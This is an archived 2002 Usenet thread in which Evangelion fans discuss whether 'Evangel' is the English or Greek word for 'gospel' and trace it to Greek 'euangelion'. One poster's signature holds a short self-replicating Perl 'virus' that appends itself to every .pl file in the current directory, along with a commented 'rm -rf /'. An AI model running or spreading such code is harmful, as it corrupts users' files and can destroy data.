Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Evangelion - translations?

0 views
Skip to first unread message

Michael Wignall

unread,
Jun 23, 2002, 11:40:16 PM6/23/02
to
Hey well most people take "Evangelion" to
be the Greek word for gospel. In the End of
Evangelion Theatrical program (and also in the
D&R program for that matter) it describes
Evangelion as...

"The name Eva is thought to derive from "Eve",
wife of Adam in the Old Testament, and "Evangel",
the English word for "gospel"."

I am assuming that is just a typo, that it should be
"Greek" in there instead of "English". Can anyone
confirm this?

--
Michael Wignall
"Tomorrow's just an excuse away..."


Disaster

unread,
Jun 24, 2002, 5:59:24 AM6/24/02
to
"Michael Wignall" <wi...@evangelion.com> wrote:
> Hey well most people take "Evangelion" to
> be the Greek word for gospel. In the End of
> Evangelion Theatrical program (and also in the
> D&R program for that matter) it describes
> Evangelion as...
>
> "The name Eva is thought to derive from "Eve",
> wife of Adam in the Old Testament, and "Evangel",
> the English word for "gospel"."
>
> I am assuming that is just a typo, that it should be
> "Greek" in there instead of "English". Can anyone
> confirm this?

Possibly, the greek term for the english word "gospel" is given as
"e?a??????" known as "evagkelio" as far as my source is concerned. Further
there is no entry in the ancient dictionary. Nor does "Evangel" show up in
the actual greek or ancient greek dictionary.

Source: http://www.kypros.org/cgi-bin/lexicon
--
Kind regards
Disaster
Disaster's Fan Fiction - http://www.disfanfic.net
JAE FAQ - http://www.evafaq.com
Pen^3's JAE FAQ - http://faq.pen3.cjb.net

Disaster

unread,
Jun 24, 2002, 6:01:16 AM6/24/02
to
"Disaster" <disa...@disfanfic.net> wrote:
[SNIP]

> Possibly, the greek term for the english word "gospel" is given as
> "e?a??????" known as "evagkelio" as far as my source is concerned.
Further
> there is no entry in the ancient dictionary. Nor does "Evangel" show up
in
> the actual greek or ancient greek dictionary.
>
> Source: http://www.kypros.org/cgi-bin/lexicon

Sorry the greek characters seem to be shy. Check out the source and enter
gospel in the english to greek translation and click find to have a look
at something you can't read anyway! ;)

Josef 'Jupp' Schugt

unread,
Jun 24, 2002, 1:55:39 PM6/24/02
to
"Michael Wignall" <wi...@evangelion.com> writes:

> "The name Eva is thought to derive from "Eve", wife of Adam in the
> Old Testament, and "Evangel", the English word for "gospel"."
>
> I am assuming that is just a typo, that it should be "Greek" in
> there instead of "English". Can anyone confirm this?

"Evangel" is indeed English. This is what Webster's New Encyclopedic
Dictionary has about it:

gospel [Middle French evangile, from Late Latin evangelium, from Greek
euangelion "good news, gospel", from eu- + angelos "messager".

HTH

Josef 'Jupp' Schugt

Rudolf Polzer

unread,
Jun 24, 2002, 5:00:15 PM6/24/02
to
Scripsit illa aut ille Josef 'Jupp' Schugt <ju...@gmx.de>:
> Josef 'Jupp' Schugt

Oh no, why didn't I notice it before? We call the "Evangelium" also
"Frohe Botschaft", and a "Botschaft" is a message, and an angel is a
messenger. So "evangelion" really contains the word "angel".
The Greek "euangelion" is also easy to separate because "eu" means good
(like in euphemism) and the other part of the word is "angelion".


--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

Michael Wignall

unread,
Jun 25, 2002, 9:56:19 PM6/25/02
to
"Michael Wignall" <wi...@evangelion.com> wrote in message
news:tswR8.2144$5l4....@ozemail.com.au...
<Snip>

> "The name Eva is thought to derive from "Eve",
> wife of Adam in the Old Testament, and "Evangel",
> the English word for "gospel"."
>
> I am assuming that is just a typo, that it should be
> "Greek" in there instead of "English". Can anyone
> confirm this?

I was referring to the translation of the End of Evangelion
Theatrical Program, rather than "Evangelion" itself.
I want to know whether the word "English" in that
translation is correct or not.

Olivier Hagué

unread,
Jun 26, 2002, 4:55:59 AM6/26/02
to
On Wed, 26 Jun 2002 11:56:19 +1000, "Michael Wignall"
<wi...@evangelion.com> wrote:
>I was referring to the translation of the End of Evangelion
>Theatrical Program, rather than "Evangelion" itself.
>I want to know whether the word "English" in that
>translation is correct or not.

It's correct. I mean... It was in the original version.

Olivier Hagué

unread,
Jun 26, 2002, 11:32:53 AM6/26/02
to
On Thu, 27 Jun 2002 01:33:51 +1000, "Michael Wignall"
<wi...@evangelion.com> wrote:
>The statment: ' "Evangel" the English word for "gospel" ',
>doesn't really make sense so I am _assuming_ that they
>really meant to say that the English word "gospel" comes
>from the word "Evangel", even though they didn't actually
>say it.

Er... No, I doubt it. ^^;
They said something like that:
""Evangel" is the English word for "fukuin"".

Disaster

unread,
Jun 27, 2002, 6:18:51 AM6/27/02
to

What's the deal with "Fukuin" then? Mean something like "story" like
"Gospel" does?

Olivier Hagué

unread,
Jun 27, 2002, 9:31:52 AM6/27/02
to
On Thu, 27 Jun 2002 03:18:51 -0700, "Disaster"
<disa...@disfanfic.net> wrote:
>"Olivier Hagué" <o_h...@noos.fr.pasdespameuuuuh.invalid> wrote:
>> "Michael Wignall" <wi...@evangelion.com> wrote:
>> >The statment: ' "Evangel" the English word for "gospel" ',
>> >doesn't really make sense so I am _assuming_ that they
>> >really meant to say that the English word "gospel" comes
>> >from the word "Evangel", even though they didn't actually
>> >say it.
>>
>> Er... No, I doubt it. ^^;
>> They said something like that:
>> ""Evangel" is the English word for "fukuin"".
>
>What's the deal with "Fukuin" then? Mean something like "story" like
>"Gospel" does?

"Fukuin" means "gospel".
I'm just saying that the "English word" part of the definition can't
refer to "fukuin" anyway, so it obviously refers to "evangel".

Disaster

unread,
Jun 27, 2002, 7:05:09 PM6/27/02
to

But Evangel is very similar to Evangelism which is spreading the gospel.
So the whole thing looks like it's trying to tell you a story.

Olivier Hagué

unread,
Jun 27, 2002, 7:31:38 PM6/27/02
to
On Thu, 27 Jun 2002 16:05:09 -0700, "Disaster"
<disa...@disfanfic.net> wrote:
>> I'm just saying that the "English word" part of the definition can't
>> refer to "fukuin" anyway, so it obviously refers to "evangel".
>
>But Evangel is very similar to Evangelism which is spreading the gospel.
>So the whole thing looks like it's trying to tell you a story.

... I wasn't talking about that at all, Disaster... ^^;

Disaster

unread,
Jun 27, 2002, 8:02:41 PM6/27/02
to

That doesn't surprise me a whole lot, I'm a little lost here anyway. ;)

0 new messages